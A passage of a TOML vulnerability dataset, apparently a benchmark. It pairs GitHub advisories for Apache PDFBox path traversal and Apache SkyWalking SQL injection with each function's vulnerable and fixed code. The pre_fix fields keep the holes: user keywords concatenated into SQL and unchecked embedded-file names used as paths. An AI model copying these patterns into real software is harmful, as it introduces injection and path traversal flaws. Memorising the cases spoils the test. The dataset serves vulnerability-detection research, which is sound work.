PDComplexFileSpecification.getFilename() is appended to the extraction path.\n\nUsers who have copied this example into their production code should review it to ensure that the extraction path is acceptable. The example has been changed accordingly, now the initial path and the extraction paths are converted into canonical paths and it is verified that extraction path contains the initial path. The documentation has also been adjusted." +commit = "b028eafdf101b58e4ee95430c3be25e3e3aa29d7" +cwe = "CWE-22" +family = "path" +function = "extractFile" +function_lines = [[140, 158]] +id = "apache-pdfbox-d700dd5c8843f12c" +language = "java" +method = "fix_site" +parent = "daaead9069d562e166918d461191c89773e51f90" +path = "examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java" +post_fix = " private static void extractFile(String filename, PDEmbeddedFile embeddedFile, String directoryPath)\n throws IOException\n {\n String embeddedFilename = directoryPath + filename;\n File file = new File(embeddedFilename);\n File parentDir = file.getParentFile();\n if (!parentDir.exists())\n {\n // sometimes paths contain a directory\n System.out.println(\"Creating \" + parentDir);\n parentDir.mkdirs();\n }\n System.out.println(\"Writing \" + embeddedFilename);\n try (FileOutputStream fos = new FileOutputStream(file))\n {\n fos.write(embeddedFile.toByteArray());\n }\n }\n " +pre_fix = " private static void extractFile(String filePath, String filename, PDEmbeddedFile embeddedFile)\n throws IOException\n {\n String embeddedFilename = filePath + filename;\n File file = new File(embeddedFilename);\n File parentDir = file.getParentFile();\n if (!parentDir.exists())\n {\n // sometimes paths contain a directory\n System.out.println(\"Creating \" + parentDir);\n parentDir.mkdirs();\n }\n System.out.println(\"Writing \" + embeddedFilename);\n try (FileOutputStream fos = new FileOutputStream(file))\n {\n fos.write(embeddedFile.toByteArray());\n }\n }\n " +repo = "apache/pdfbox" +url = "https://github.com/apache/pdfbox.git" + +[[case]] +advisory = "GHSA-jjwr-xmw6-gf78" +advisory_text = "Apache PDFBox has Path Traversal through PDComplexFileSpecification.getFilename() function\n\nThis issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.35, from 3.0.0 through 3.0.6.\n\nThe ExtractEmbeddedFiles example contains a path traversal vulnerability (CWE-22) because the filename that is obtained from PDComplexFileSpecification.getFilename() is appended to the extraction path.\n\nUsers who have copied this example into their production code should review it to ensure that the extraction path is acceptable. The example has been changed accordingly, now the initial path and the extraction paths are converted into canonical paths and it is verified that extraction path contains the initial path. The documentation has also been adjusted." +commit = "b028eafdf101b58e4ee95430c3be25e3e3aa29d7" +cwe = "CWE-22" +family = "path" +function = "extractFilesFromEFTree" +function_lines = [[105, 125]] +id = "apache-pdfbox-f03695e9a3bbfb76" +language = "java" +method = "fix_site" +parent = "daaead9069d562e166918d461191c89773e51f90" +path = "examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java" +post_fix = " private static void extractFilesFromEFTree(PDNameTreeNode efTree, String directoryPath) throws IOException\n {\n Map names = efTree.getNames();\n if (names != null)\n {\n extractFiles(names, directoryPath);\n }\n else\n {\n List> kids = efTree.getKids();\n if (kids == null)\n {\n return;\n }\n for (PDNameTreeNode node : kids)\n {\n extractFilesFromEFTree(node, directoryPath);\n }\n }\n }\n" +pre_fix = " private static void extractFilesFromEFTree(PDNameTreeNode efTree, String filePath) throws IOException\n {\n Map names = efTree.getNames();\n if (names != null)\n {\n extractFiles(names, filePath);\n }\n else\n {\n List> kids = efTree.getKids();\n if (kids == null)\n {\n return;\n }\n for (PDNameTreeNode node : kids)\n {\n extractFilesFromEFTree(node, filePath);\n }\n }\n }\n" +repo = "apache/pdfbox" +url = "https://github.com/apache/pdfbox.git" + +[[case]] +advisory = "GHSA-grpf-gg7v-5g5h" +advisory_text = "SQL Injection in Apache SkyWalking\n\nOnly when using H2/MySQL/TiDB as Apache SkyWalking storage, there is a SQL injection vulnerability in the wildcard query cases." +commit = "fb7912c6bdda06a233f4b3e18e71a87d3e4a8951" +cwe = "CWE-89" +family = "injection" +function = "getAlarm" +function_lines = [[46, 97]] +id = "apache-skywalking-2290116e5febf3c6" +language = "java" +method = "fix_site" +parent = "cc9ea271a720e8def161a583595f75da9bda77a5" +path = "oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/mysql/MySQLAlarmQueryDAO.java" +post_fix = " public Alarms getAlarm(Integer scopeId, String keyword, int limit, int from, long startTB,\n long endTB) throws IOException {\n StringBuilder sql = new StringBuilder();\n List parameters = new ArrayList<>(10);\n sql.append(\"from \").append(AlarmRecord.INDEX_NAME).append(\" where \");\n sql.append(\" 1=1 \");\n if (Objects.nonNull(scopeId)) {\n sql.append(\" and \").append(AlarmRecord.SCOPE).append(\" = ?\");\n parameters.add(scopeId.intValue());\n }\n if (startTB != 0 && endTB != 0) {\n sql.append(\" and \").append(AlarmRecord.TIME_BUCKET).append(\" >= ?\");\n parameters.add(startTB);\n sql.append(\" and \").append(AlarmRecord.TIME_BUCKET).append(\" <= ?\");\n parameters.add(endTB);\n }\n\n if (!Strings.isNullOrEmpty(keyword)) {\n sql.append(\" and \").append(AlarmRecord.ALARM_MESSAGE).append(\" like concat('%',?,'%') \");\n parameters.add(keyword);\n }\n sql.append(\" order by \").append(AlarmRecord.START_TIME).append(\" desc \");\n\n Alarms alarms = new Alarms();\n try (Connection connection = client.getConnection()) {\n\n try (ResultSet resultSet = client.executeQuery(connection, \"select count(1) total \" + sql.toString(), parameters\n .toArray(new Object[0]))) {\n while (resultSet.next()) {\n alarms.setTotal(resultSet.getInt(\"total\"));\n }\n }\n\n this.buildLimit(sql, from, limit);\n\n try (ResultSet resultSet = client.executeQuery(connection, \"select * \" + sql.toString(), parameters.toArray(new Object[0]))) {\n while (resultSet.next()) {\n AlarmMessage message = new AlarmMessage();\n message.setId(resultSet.getString(AlarmRecord.ID0));\n message.setMessage(resultSet.getString(AlarmRecord.ALARM_MESSAGE));\n message.setStartTime(resultSet.getLong(AlarmRecord.START_TIME));\n message.setScope(Scope.Finder.valueOf(resultSet.getInt(AlarmRecord.SCOPE)));\n message.setScopeId(resultSet.getInt(AlarmRecord.SCOPE));\n\n alarms.getMsgs().add(message);\n }\n }\n } catch (SQLException e) {\n throw new IOException(e);\n }\n\n return alarms;\n }" +pre_fix = " public Alarms getAlarm(Integer scopeId, String keyword, int limit, int from, long startTB,\n long endTB) throws IOException {\n StringBuilder sql = new StringBuilder();\n List parameters = new ArrayList<>(10);\n sql.append(\"from \").append(AlarmRecord.INDEX_NAME).append(\" where \");\n sql.append(\" 1=1 \");\n if (Objects.nonNull(scopeId)) {\n sql.append(\" and \").append(AlarmRecord.SCOPE).append(\" = ?\");\n parameters.add(scopeId.intValue());\n }\n if (startTB != 0 && endTB != 0) {\n sql.append(\" and \").append(AlarmRecord.TIME_BUCKET).append(\" >= ?\");\n parameters.add(startTB);\n sql.append(\" and \").append(AlarmRecord.TIME_BUCKET).append(\" <= ?\");\n parameters.add(endTB);\n }\n\n if (!Strings.isNullOrEmpty(keyword)) {\n sql.append(\" and \").append(AlarmRecord.ALARM_MESSAGE).append(\" like '%\").append(keyword).append(\"%' \");\n }\n sql.append(\" order by \").append(AlarmRecord.START_TIME).append(\" desc \");\n\n Alarms alarms = new Alarms();\n try (Connection connection = client.getConnection()) {\n\n try (ResultSet resultSet = client.executeQuery(connection, \"select count(1) total \" + sql.toString(), parameters\n .toArray(new Object[0]))) {\n while (resultSet.next()) {\n alarms.setTotal(resultSet.getInt(\"total\"));\n }\n }\n\n this.buildLimit(sql, from, limit);\n\n try (ResultSet resultSet = client.executeQuery(connection, \"select * \" + sql.toString(), parameters.toArray(new Object[0]))) {\n while (resultSet.next()) {\n AlarmMessage message = new AlarmMessage();\n message.setId(resultSet.getString(AlarmRecord.ID0));\n message.setMessage(resultSet.getString(AlarmRecord.ALARM_MESSAGE));\n message.setStartTime(resultSet.getLong(AlarmRecord.START_TIME));\n message.setScope(Scope.Finder.valueOf(resultSet.getInt(AlarmRecord.SCOPE)));\n message.setScopeId(resultSet.getInt(AlarmRecord.SCOPE));\n\n alarms.getMsgs().add(message);\n }\n }\n } catch (SQLException e) {\n throw new IOException(e);\n }\n\n return alarms;\n }" +repo = "apache/skywalking" +url = "https://github.com/apache/skywalking.git" + +[[case]] +advisory = "GHSA-grpf-gg7v-5g5h" +advisory_text = "SQL Injection in Apache SkyWalking\n\nOnly when using H2/MySQL/TiDB as Apache SkyWalking storage, there is a SQL injection vulnerability in the wildcard query cases." +commit = "fb7912c6bdda06a233f4b3e18e71a87d3e4a8951" +cwe = "CWE-89" +family = "injection" +function = "queryBasicTraces" +function_lines = [[50, 152]] +id = "apache-skywalking-5eb8d566abf7ce37" +language = "java" +method = "fix_site" +parent = "cc9ea271a720e8def161a583595f75da9bda77a5" +path = "oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2TraceQueryDAO.java" +post_fix = " public TraceBrief queryBasicTraces(long startSecondTB,\n long endSecondTB,\n long minDuration,\n long maxDuration,\n String endpointName,\n String serviceId,\n String serviceInstanceId,\n String endpointId,\n String traceId,\n int limit,\n int from,\n TraceState traceState,\n QueryOrder queryOrder) throws IOException {\n StringBuilder sql = new StringBuilder();\n List parameters = new ArrayList<>(10);\n\n sql.append(\"from \").append(SegmentRecord.INDEX_NAME).append(\" where \");\n sql.append(\" 1=1 \");\n if (startSecondTB != 0 && endSecondTB != 0) {\n sql.append(\" and \").append(SegmentRecord.TIME_BUCKET).append(\" >= ?\");\n parameters.add(startSecondTB);\n sql.append(\" and \").append(SegmentRecord.TIME_BUCKET).append(\" <= ?\");\n parameters.add(endSecondTB);\n }\n if (minDuration != 0 || maxDuration != 0) {\n if (minDuration != 0) {\n sql.append(\" and \").append(SegmentRecord.LATENCY).append(\" >= ?\");\n parameters.add(minDuration);\n }\n if (maxDuration != 0) {\n sql.append(\" and \").append(SegmentRecord.LATENCY).append(\" <= ?\");\n parameters.add(maxDuration);\n }\n }\n if (!Strings.isNullOrEmpty(endpointName)) {\n sql.append(\" and \").append(SegmentRecord.ENDPOINT_NAME).append(\" like concat('%',?,'%')\");\n parameters.add(endpointName);\n }\n if (StringUtil.isNotEmpty(serviceId)) {\n sql.append(\" and \").append(SegmentRecord.SERVICE_ID).append(\" = ?\");\n parameters.add(serviceId);\n }\n if (StringUtil.isNotEmpty(serviceInstanceId)) {\n sql.append(\" and \").append(SegmentRecord.SERVICE_INSTANCE_ID).append(\" = ?\");\n parameters.add(serviceInstanceId);\n }\n if (!Strings.isNullOrEmpty(endpointId)) {\n sql.append(\" and \").append(SegmentRecord.ENDPOINT_ID).append(\" = ?\");\n parameters.add(endpointId);\n }\n if (!Strings.isNullOrEmpty(traceId)) {\n sql.append(\" and \").append(SegmentRecord.TRACE_ID).append(\" = ?\");\n parameters.add(traceId);\n }\n switch (traceState) {\n case ERROR:\n sql.append(\" and \").append(SegmentRecord.IS_ERROR).append(\" = \").append(BooleanUtils.TRUE);\n break;\n case SUCCESS:\n sql.append(\" and \").append(SegmentRecord.IS_ERROR).append(\" = \").append(BooleanUtils.FALSE);\n break;\n }\n switch (queryOrder) {\n case BY_START_TIME:\n sql.append(\" order by \").append(SegmentRecord.START_TIME).append(\" \").append(SortOrder.DESC);\n break;\n case BY_DURATION:\n sql.append(\" order by \").append(SegmentRecord.LATENCY).append(\" \").append(SortOrder.DESC);\n break;\n }\n\n TraceBrief traceBrief = new TraceBrief();\n try (Connection connection = h2Client.getConnection()) {\n\n try (ResultSet resultSet = h2Client.executeQuery(connection, buildCountStatement(sql.toString()), parameters\n .toArray(new Object[0]))) {\n while (resultSet.next()) {\n traceBrief.setTotal(resultSet.getInt(\"total\"));\n }\n }\n\n buildLimit(sql, from, limit);\n\n try (ResultSet resultSet = h2Client.executeQuery(\n connection, \"select * \" + sql.toString(), parameters.toArray(new Object[0]))) {\n while (resultSet.next()) {\n BasicTrace basicTrace = new BasicTrace();\n\n basicTrace.setSegmentId(resultSet.getString(SegmentRecord.SEGMENT_ID));\n basicTrace.setStart(resultSet.getString(SegmentRecord.START_TIME));\n basicTrace.getEndpointNames().add(resultSet.getString(SegmentRecord.ENDPOINT_NAME));\n basicTrace.setDuration(resultSet.getInt(SegmentRecord.LATENCY));\n basicTrace.setError(BooleanUtils.valueToBoolean(resultSet.getInt(SegmentRecord.IS_ERROR)));\n String traceIds = resultSet.getString(SegmentRecord.TRACE_ID);\n basicTrace.getTraceIds().add(traceIds);\n traceBrief.getTraces().add(basicTrace);\n }\n }\n } catch (SQLException e) {\n throw new IOException(e);\n }\n\n return traceBrief;\n }" +pre_fix = " public TraceBrief queryBasicTraces(long startSecondTB,\n long endSecondTB,\n long minDuration,\n long maxDuration,\n String endpointName,\n String serviceId,\n String serviceInstanceId,\n String endpointId,\n String traceId,\n int limit,\n int from,\n TraceState traceState,\n QueryOrder queryOrder) throws IOException {\n StringBuilder sql = new StringBuilder();\n List parameters = new ArrayList<>(10);\n\n sql.append(\"from \").append(SegmentRecord.INDEX_NAME).append(\" where \");\n sql.append(\" 1=1 \");\n if (startSecondTB != 0 && endSecondTB != 0) {\n sql.append(\" and \").append(SegmentRecord.TIME_BUCKET).append(\" >= ?\");\n parameters.add(startSecondTB);\n sql.append(\" and \").append(SegmentRecord.TIME_BUCKET).append(\" <= ?\");\n parameters.add(endSecondTB);\n }\n if (minDuration != 0 || maxDuration != 0) {\n if (minDuration != 0) {\n sql.append(\" and \").append(SegmentRecord.LATENCY).append(\" >= ?\");\n parameters.add(minDuration);\n }\n if (maxDuration != 0) {\n sql.append(\" and \").append(SegmentRecord.LATENCY).append(\" <= ?\");\n parameters.add(maxDuration);\n }\n }\n if (!Strings.isNullOrEmpty(endpointName)) {\n sql.append(\" and \").append(SegmentRecord.ENDPOINT_NAME).append(\" like '%\" + endpointName + \"%'\");\n }\n if (StringUtil.isNotEmpty(serviceId)) {\n sql.append(\" and \").append(SegmentRecord.SERVICE_ID).append(\" = ?\");\n parameters.add(serviceId);\n }\n if (StringUtil.isNotEmpty(serviceInstanceId)) {\n sql.append(\" and \").append(SegmentRecord.SERVICE_INSTANCE_ID).append(\" = ?\");\n parameters.add(serviceInstanceId);\n }\n if (!Strings.isNullOrEmpty(endpointId)) {\n sql.append(\" and \").append(SegmentRecord.ENDPOINT_ID).append(\" = ?\");\n parameters.add(endpointId);\n }\n if (!Strings.isNullOrEmpty(traceId)) {\n sql.append(\" and \").append(SegmentRecord.TRACE_ID).append(\" = ?\");\n parameters.add(traceId);\n }\n switch (traceState) {\n case ERROR:\n sql.append(\" and \").append(SegmentRecord.IS_ERROR).append(\" = \").append(BooleanUtils.TRUE);\n break;\n case SUCCESS:\n sql.append(\" and \").append(SegmentRecord.IS_ERROR).append(\" = \").append(BooleanUtils.FALSE);\n break;\n }\n switch (queryOrder) {\n case BY_START_TIME:\n sql.append(\" order by \").append(SegmentRecord.START_TIME).append(\" \").append(SortOrder.DESC);\n break;\n case BY_DURATION:\n sql.append(\" order by \").append(SegmentRecord.LATENCY).append(\" \").append(SortOrder.DESC);\n break;\n }\n\n TraceBrief traceBrief = new TraceBrief();\n try (Connection connection = h2Client.getConnection()) {\n\n try (ResultSet resultSet = h2Client.executeQuery(connection, buildCountStatement(sql.toString()), parameters\n .toArray(new Object[0]))) {\n while (resultSet.next()) {\n traceBrief.setTotal(resultSet.getInt(\"total\"));\n }\n }\n\n buildLimit(sql, from, limit);\n\n try (ResultSet resultSet = h2Client.executeQuery(\n connection, \"select * \" + sql.toString(), parameters.toArray(new Object[0]))) {\n while (resultSet.next()) {\n BasicTrace basicTrace = new BasicTrace();\n\n basicTrace.setSegmentId(resultSet.getString(SegmentRecord.SEGMENT_ID));\n basicTrace.setStart(resultSet.getString(SegmentRecord.START_TIME));\n basicTrace.getEndpointNames().add(resultSet.getString(SegmentRecord.ENDPOINT_NAME));\n basicTrace.setDuration(resultSet.getInt(SegmentRecord.LATENCY));\n basicTrace.setError(BooleanUtils.valueToBoolean(resultSet.getInt(SegmentRecord.IS_ERROR)));\n String traceIds = resultSet.getString(SegmentRecord.TRACE_ID);\n basicTrace.getTraceIds().add(traceIds);\n traceBrief.getTraces().add(basicTrace);\n }\n }\n } catch (SQLException e) {\n throw new IOException(e);\n }\n\n return traceBrief;\n }" +repo = "apache/skywalking" +url = "https://github.com/apache/skywalking.git" + +[[case]] +advisory = "GHSA-grpf-gg7v-5g5h" +advisory_text = "SQL Injection in Apache SkyWalking\n\nOnly when using H2/MySQL/TiDB as Apache SkyWalking storage, there is a SQL injection vulnerability in the wildcard query cases." +commit = "fb7912c6bdda06a233f4b3e18e71a87d3e4a8951" +cwe = "CWE-89" +family = "injection" +function = "searchEndpoint" +function_lines = [[171, 249]] +id = "apache-skywalking-80e3e3e53c0f37a0" +language = "java" +method = "fix_site" +parent = "cc9ea271a720e8def161a583595f75da9bda77a5" +path = "oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2MetadataQueryDAO.java" +post_fix = " public List searchEndpoint(String keyword, String serviceId, int limit) throws IOException {\n StringBuilder sql = new StringBuilder();\n List condition = new ArrayList<>(5);\n sql.append(\"select * from \").append(EndpointTraffic.INDEX_NAME).append(\" where \");\n sql.append(EndpointTraffic.SERVICE_ID).append(\"=?\");\n condition.add(serviceId);\n if (!Strings.isNullOrEmpty(keyword)) {\n sql.append(\" and \").append(EndpointTraffic.NAME).append(\" like concat('%',?,'%') \");\n condition.add(keyword);\n }\n sql.append(\" limit \").append(limit);\n\n List endpoints = new ArrayList<>();\n try (Connection connection = h2Client.getConnection()) {\n try (ResultSet resultSet = h2Client.executeQuery(\n connection, sql.toString(), condition.toArray(new Object[0]))) {\n\n while (resultSet.next()) {\n Endpoint endpoint = new Endpoint();\n endpoint.setId(resultSet.getString(H2TableInstaller.ID_COLUMN));\n endpoint.setName(resultSet.getString(EndpointTraffic.NAME));\n endpoints.add(endpoint);\n }\n }\n } catch (SQLException e) {\n throw new IOException(e);\n }\n return endpoints;\n }\n\n @Override\n public List getServiceInstances(long startTimestamp, long endTimestamp,\n String serviceId) throws IOException {\n final long minuteTimeBucket = TimeBucket.getMinuteTimeBucket(startTimestamp);\n\n StringBuilder sql = new StringBuilder();\n List condition = new ArrayList<>(5);\n sql.append(\"select * from \").append(InstanceTraffic.INDEX_NAME).append(\" where \");\n sql.append(InstanceTraffic.LAST_PING_TIME_BUCKET).append(\" >= ?\");\n condition.add(minuteTimeBucket);\n sql.append(\" and \").append(InstanceTraffic.SERVICE_ID).append(\"=?\");\n condition.add(serviceId);\n\n List serviceInstances = new ArrayList<>();\n try (Connection connection = h2Client.getConnection()) {\n try (ResultSet resultSet = h2Client.executeQuery(\n connection, sql.toString(), condition.toArray(new Object[0]))) {\n\n while (resultSet.next()) {\n ServiceInstance serviceInstance = new ServiceInstance();\n serviceInstance.setId(resultSet.getString(H2TableInstaller.ID_COLUMN));\n serviceInstance.setName(resultSet.getString(InstanceTraffic.NAME));\n serviceInstance.setInstanceUUID(serviceInstance.getId());\n\n String propertiesString = resultSet.getString(InstanceTraffic.PROPERTIES);\n if (!Strings.isNullOrEmpty(propertiesString)) {\n JsonObject properties = GSON.fromJson(propertiesString, JsonObject.class);\n for (Map.Entry property : properties.entrySet()) {\n String key = property.getKey();\n String value = property.getValue().getAsString();\n if (key.equals(InstanceTraffic.PropertyUtil.LANGUAGE)) {\n serviceInstance.setLanguage(Language.value(value));\n } else {\n serviceInstance.getAttributes().add(new Attribute(key, value));\n }\n\n }\n } else {\n serviceInstance.setLanguage(Language.UNKNOWN);\n }\n\n serviceInstances.add(serviceInstance);\n }\n }\n } catch (SQLException e) {\n throw new IOException(e);\n }\n return serviceInstances;\n }\n" +pre_fix = " public List searchEndpoint(String keyword, String serviceId, int limit) throws IOException {\n StringBuilder sql = new StringBuilder();\n List condition = new ArrayList<>(5);\n sql.append(\"select * from \").append(EndpointTraffic.INDEX_NAME).append(\" where \");\n sql.append(EndpointTraffic.SERVICE_ID).append(\"=?\");\n condition.add(serviceId);\n if (!Strings.isNullOrEmpty(keyword)) {\n sql.append(\" and \").append(EndpointTraffic.NAME).append(\" like '%\").append(keyword).append(\"%' \");\n }\n sql.append(\" limit \").append(limit);\n\n List endpoints = new ArrayList<>();\n try (Connection connection = h2Client.getConnection()) {\n try (ResultSet resultSet = h2Client.executeQuery(\n connection, sql.toString(), condition.toArray(new Object[0]))) {\n\n while (resultSet.next()) {\n Endpoint endpoint = new Endpoint();\n endpoint.setId(resultSet.getString(H2TableInstaller.ID_COLUMN));\n endpoint.setName(resultSet.getString(EndpointTraffic.NAME));\n endpoints.add(endpoint);\n }\n }\n } catch (SQLException e) {\n throw new IOException(e);\n }\n return endpoints;\n }\n\n @Override\n public List getServiceInstances(long startTimestamp, long endTimestamp,\n String serviceId) throws IOException {\n final long minuteTimeBucket = TimeBucket.getMinuteTimeBucket(startTimestamp);\n\n StringBuilder sql = new StringBuilder();\n List condition = new ArrayList<>(5);\n sql.append(\"select * from \").append(InstanceTraffic.INDEX_NAME).append(\" where \");\n sql.append(InstanceTraffic.LAST_PING_TIME_BUCKET).append(\" >= ?\");\n condition.add(minuteTimeBucket);\n sql.append(\" and \").append(InstanceTraffic.SERVICE_ID).append(\"=?\");\n condition.add(serviceId);\n\n List serviceInstances = new ArrayList<>();\n try (Connection connection = h2Client.getConnection()) {\n try (ResultSet resultSet = h2Client.executeQuery(\n connection, sql.toString(), condition.toArray(new Object[0]))) {\n\n while (resultSet.next()) {\n ServiceInstance serviceInstance = new ServiceInstance();\n serviceInstance.setId(resultSet.getString(H2TableInstaller.ID_COLUMN));\n serviceInstance.setName(resultSet.getString(InstanceTraffic.NAME));\n serviceInstance.setInstanceUUID(serviceInstance.getId());\n\n String propertiesString = resultSet.getString(InstanceTraffic.PROPERTIES);\n if (!Strings.isNullOrEmpty(propertiesString)) {\n JsonObject properties = GSON.fromJson(propertiesString, JsonObject.class);\n for (Map.Entry property : properties.entrySet()) {\n String key = property.getKey();\n String value = property.getValue().getAsString();\n if (key.equals(InstanceTraffic.PropertyUtil.LANGUAGE)) {\n serviceInstance.setLanguage(Language.value(value));\n } else {\n serviceInstance.getAttributes().add(new Attribute(key, value));\n }\n\n }\n } else {\n serviceInstance.setLanguage(Language.UNKNOWN);\n }\n\n serviceInstances.add(serviceInstance);\n }\n }\n } catch (SQLException e) {\n throw new IOException(e);\n }\n return serviceInstances;\n }\n" +repo = "apache/skywalking" +url = "https://github.com/apache/skywalking.git" + +[[case]] +advisory = "GHSA-grpf-gg7v-5g5h" +advisory_text = "SQL Injection in Apache SkyWalking\n\nOnly when using H2/MySQL/TiDB as Apache SkyWalking storage, there is a SQL injection vulnerability in the wildcard query cases." +commit = "fb7912c6bdda06a233f4b3e18e71a87d3e4a8951" +cwe = "CWE-89" +family = "injection" +function = "getAlarm" +function_lines = [[46, 97]] +id = "apache-skywalking-9ea0241fb2a1d2cc" +language = "java" +method = "fix_site" +parent = "cc9ea271a720e8def161a583595f75da9bda77a5" +path = "oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2AlarmQueryDAO.java" +post_fix = " public Alarms getAlarm(Integer scopeId, String keyword, int limit, int from, long startTB,\n long endTB) throws IOException {\n StringBuilder sql = new StringBuilder();\n List parameters = new ArrayList<>(10);\n sql.append(\"from \").append(AlarmRecord.INDEX_NAME).append(\" where \");\n sql.append(\" 1=1 \");\n if (Objects.nonNull(scopeId)) {\n sql.append(\" and \").append(AlarmRecord.SCOPE).append(\" = ?\");\n parameters.add(scopeId.intValue());\n }\n if (startTB != 0 && endTB != 0) {\n sql.append(\" and \").append(AlarmRecord.TIME_BUCKET).append(\" >= ?\");\n parameters.add(startTB);\n sql.append(\" and \").append(AlarmRecord.TIME_BUCKET).append(\" <= ?\");\n parameters.add(endTB);\n }\n\n if (!Strings.isNullOrEmpty(keyword)) {\n sql.append(\" and \").append(AlarmRecord.ALARM_MESSAGE).append(\" like concat('%',?,'%') \");\n parameters.add(keyword);\n }\n sql.append(\" order by \").append(AlarmRecord.START_TIME).append(\" desc \");\n\n Alarms alarms = new Alarms();\n try (Connection connection = client.getConnection()) {\n\n try (ResultSet resultSet = client.executeQuery(connection, \"select count(1) total from (select 1 \" + sql.toString() + \" )\", parameters\n .toArray(new Object[0]))) {\n while (resultSet.next()) {\n alarms.setTotal(resultSet.getInt(\"total\"));\n }\n }\n\n this.buildLimit(sql, from, limit);\n\n try (ResultSet resultSet = client.executeQuery(connection, \"select * \" + sql.toString(), parameters.toArray(new Object[0]))) {\n while (resultSet.next()) {\n AlarmMessage message = new AlarmMessage();\n message.setId(resultSet.getString(AlarmRecord.ID0));\n message.setMessage(resultSet.getString(AlarmRecord.ALARM_MESSAGE));\n message.setStartTime(resultSet.getLong(AlarmRecord.START_TIME));\n message.setScope(Scope.Finder.valueOf(resultSet.getInt(AlarmRecord.SCOPE)));\n message.setScopeId(resultSet.getInt(AlarmRecord.SCOPE));\n\n alarms.getMsgs().add(message);\n }\n }\n } catch (SQLException e) {\n throw new IOException(e);\n }\n\n return alarms;\n }" +pre_fix = " public Alarms getAlarm(Integer scopeId, String keyword, int limit, int from, long startTB,\n long endTB) throws IOException {\n StringBuilder sql = new StringBuilder();\n List parameters = new ArrayList<>(10);\n sql.append(\"from \").append(AlarmRecord.INDEX_NAME).append(\" where \");\n sql.append(\" 1=1 \");\n if (Objects.nonNull(scopeId)) {\n sql.append(\" and \").append(AlarmRecord.SCOPE).append(\" = ?\");\n parameters.add(scopeId.intValue());\n }\n if (startTB != 0 && endTB != 0) {\n sql.append(\" and \").append(AlarmRecord.TIME_BUCKET).append(\" >= ?\");\n parameters.add(startTB);\n sql.append(\" and \").append(AlarmRecord.TIME_BUCKET).append(\" <= ?\");\n parameters.add(endTB);\n }\n\n if (!Strings.isNullOrEmpty(keyword)) {\n sql.append(\" and \").append(AlarmRecord.ALARM_MESSAGE).append(\" like '%\").append(keyword).append(\"%' \");\n }\n sql.append(\" order by \").append(AlarmRecord.START_TIME).append(\" desc \");\n\n Alarms alarms = new Alarms();\n try (Connection connection = client.getConnection()) {\n\n try (ResultSet resultSet = client.executeQuery(connection, \"select count(1) total from (select 1 \" + sql.toString() + \" )\", parameters\n .toArray(new Object[0]))) {\n while (resultSet.next()) {\n alarms.setTotal(resultSet.getInt(\"total\"));\n }\n }\n\n this.buildLimit(sql, from, limit);\n\n try (ResultSet resultSet = client.executeQuery(connection, \"select * \" + sql.toString(), parameters.toArray(new Object[0]))) {\n while (resultSet.next()) {\n AlarmMessage message = new AlarmMessage();\n message.setId(resultSet.getString(AlarmRecord.ID0));\n message.setMessage(resultSet.getString(AlarmRecord.ALARM_MESSAGE));\n message.setStartTime(resultSet.getLong(AlarmRecord.START_TIME));\n message.setScope(Scope.Finder.valueOf(resultSet.getInt(AlarmRecord.SCOPE)));\n message.setScopeId(resultSet.getInt(AlarmRecord.SCOPE));\n\n alarms.getMsgs().add(message);\n }\n }\n } catch (SQLException e) {\n throw new IOException(e);\n }\n\n return alarms;\n }" +repo = "apache/skywalking" +url = "https://github.com/apache/skywalking.git" + +[[case]] +advisory = "GHSA-grpf-gg7v-5g5h" +advisory_text = "SQL Injection in Apache SkyWalking\n\nOnly when using H2/MySQL/TiDB as Apache SkyWalking storage, there is a SQL injection vulnerability in the wildcard query cases." +commit = "fb7912c6bdda06a233f4b3e18e71a87d3e4a8951" +cwe = "CWE-89" +family = "injection" +function = "searchServices" +function_lines = [[121, 142]] +id = "apache-skywalking-a7df135a93d33dbc" +language = "java" +method = "fix_site" +parent = "cc9ea271a720e8def161a583595f75da9bda77a5" +path = "oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2MetadataQueryDAO.java" +post_fix = " public List searchServices(long startTimestamp, long endTimestamp, String keyword) throws IOException {\n StringBuilder sql = new StringBuilder();\n List condition = new ArrayList<>(5);\n sql.append(\"select * from \").append(ServiceTraffic.INDEX_NAME).append(\" where \");\n sql.append(ServiceTraffic.NODE_TYPE).append(\"=?\");\n condition.add(NodeType.Normal.value());\n if (!Strings.isNullOrEmpty(keyword)) {\n sql.append(\" and \").append(ServiceTraffic.NAME).append(\" like concat('%',?,'%')\");\n condition.add(keyword);\n }\n sql.append(\" limit \").append(metadataQueryMaxSize);\n\n try (Connection connection = h2Client.getConnection()) {\n try (ResultSet resultSet = h2Client.executeQuery(\n connection, sql.toString(), condition.toArray(new Object[0]))) {\n return buildServices(resultSet);\n }\n } catch (SQLException e) {\n throw new IOException(e);\n }\n }\n\n @Override" +pre_fix = " public List searchServices(long startTimestamp, long endTimestamp, String keyword) throws IOException {\n StringBuilder sql = new StringBuilder();\n List condition = new ArrayList<>(5);\n sql.append(\"select * from \").append(ServiceTraffic.INDEX_NAME).append(\" where \");\n sql.append(ServiceTraffic.NODE_TYPE).append(\"=?\");\n condition.add(NodeType.Normal.value());\n if (!Strings.isNullOrEmpty(keyword)) {\n sql.append(\" and \").append(ServiceTraffic.NAME).append(\" like \\\"%\").append(keyword).append(\"%\\\"\");\n }\n sql.append(\" limit \").append(metadataQueryMaxSize);\n\n try (Connection connection = h2Client.getConnection()) {\n try (ResultSet resultSet = h2Client.executeQuery(\n connection, sql.toString(), condition.toArray(new Object[0]))) {\n return buildServices(resultSet);\n }\n } catch (SQLException e) {\n throw new IOException(e);\n }\n }\n\n @Override" +repo = "apache/skywalking" +url = "https://github.com/apache/skywalking.git" + +[[case]] +advisory = "GHSA-qr97-v87p-x965" +advisory_text = "Ariadne Component Library vulnerable to Server-Side Request Forgery\n\nA vulnerability was found in 